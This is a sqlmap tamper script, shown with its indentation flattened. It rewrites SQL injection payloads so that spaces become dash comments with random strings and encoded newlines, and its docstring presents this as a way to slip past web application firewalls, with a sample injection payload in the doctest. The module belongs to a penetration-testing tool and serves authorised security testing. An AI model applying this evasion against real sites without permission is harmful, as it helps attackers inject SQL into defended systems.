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#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import random
import string
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
Requirement:
* MSSQL
* SQLite
Notes:
* Useful to bypass several web application firewalls
* Used during the ZeroNights SQL injection challenge,
https://proton.onsec.ru/contest/
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "--%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
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